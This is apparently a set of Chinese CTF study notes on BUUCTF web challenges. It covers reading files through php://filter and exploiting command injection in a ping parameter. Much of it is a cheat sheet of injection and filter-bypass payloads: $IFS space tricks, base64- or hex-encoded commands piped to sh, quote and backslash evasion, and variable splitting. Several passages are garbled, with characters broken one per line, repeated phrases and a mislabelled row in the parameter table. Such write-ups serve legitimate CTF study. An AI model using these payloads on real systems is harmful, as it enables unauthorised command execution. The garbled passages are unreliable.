知识点:
BUUCTF web-[极客大挑战 2019]Secret File:
学会运用BrupSuite(抓包,爆破等许多功能):
php伪协议
使用php伪协议去读取的原因?
返回审计php代码,发现文件包含,看到了 input (php://input: 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行),这个是伪协议的一种.结合题目一下想到的文件隐藏,于是我们猜测flag在后端文件中,并需要我们去读取他,传入的file经过了过滤,但是没有过滤filter
php伪协议中的 php://filter,常用来读取文件和源码
http://47ad2052-eed5-46b4-838f-23dae02dbced.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
php://filter参数简单总结:
php://filter 参数 | 描述 |
---|---|
resource=<要过滤的数据流> | 必须项。它指定了你要筛选过滤的数据流。 |
resource=<要过滤的数据流> | 可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔 |
write=<写链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔 |
<; 两个链的过滤器> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链 |
转换过滤器:
convert.base64-encode & convert.base64-decode | 等同于base64_encode()和base64_decode(),base64编码解码
ctf中常利用php伪协议
实战中或许会有奇效
BUUCTF web-[ACTF2020 新生赛]Exec
命令执行漏洞:
背景介绍
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。
成因
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入或者过滤不严格的情况下,就会造成命令执行漏洞。
Windows常见命令
dir 列出目录
Ipconfig 查看ip
arp -a 查看路由表
Calc 打开计算器
Regedit 打开注册表
netstat -ano 查看服务端口信息
php常见危险函数
system:成功则返回命令输出的最后一行,失败则返回FALSE。
exec:命令执行结果的最后一行内容。
shell_exec:命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回NULL。
passthru:执行外部程序并且显示原始输出。
eval:将输入的字符串参数当做PHP程序代码来执行
【BUUCTF】[GXYCTF2019]Ping Ping Ping
用|或;执行命令
?ip=127.0.0.1;ls (列出目录)
命令联合执行:
; 前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a (换行)
%0d (回车)
命令绕过空格方法有:
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 (
1
改
成
1改成
1改成加其他数字貌似都行)
IFS
<
<>
{cat,flag.php} (用逗号实现了空格功能,需要用{}括起来)
%20 (space)
%09 (tab)
X=$ ‘cat\ x09./flag.php’;$ X (\x09表示tab,也可以用\x20)
当cat被过滤后:
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
内联执行:
内联,就是将反引号内命令的输出作为输入执行
?ip=127.0.0.1;cat$IFS$9``ls `
$IFS在Linux下表示为空格
$ 9是当前系统shell进程第九个参数持有者,始终为空字符串,
后
可
以
接
任
意
数
字
这
里
后可以接任意数字 这里
后可以接任意数字这里IFS
9
或
9或
9或IFS垂直,后面加个$与{}类似,起截断作用
**flag的贪婪匹配:**匹配一个字符串中,是否按顺序出现过flag四个字母
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
被过滤的bash,用管道+sh替换,linux下可用sh
cat flag.php用base64加密来绕过正则匹配
Y2F0IGZsYWcucGhw
(cat flag.php加密后)
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
此类题的大概思路
cat fl* 用*匹配任意
cat fla* 用*匹配任意
ca\t fla\g.php 反斜线绕过
cat fl''ag.php 两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash
//base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数
echo "63617420666c61672e706870" | xxd -r -p | bash
//hex编码绕过(引号可以去掉)
echo "63617420666c61672e706870" | xxd -r -p | sh
//sh的效果和bash一样
cat fl[a]g.php 用[]匹配
a=fl;b=ag;cat $a$b 变量替换
cp fla{g.php,G} 把flag.php复制为flaG
ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的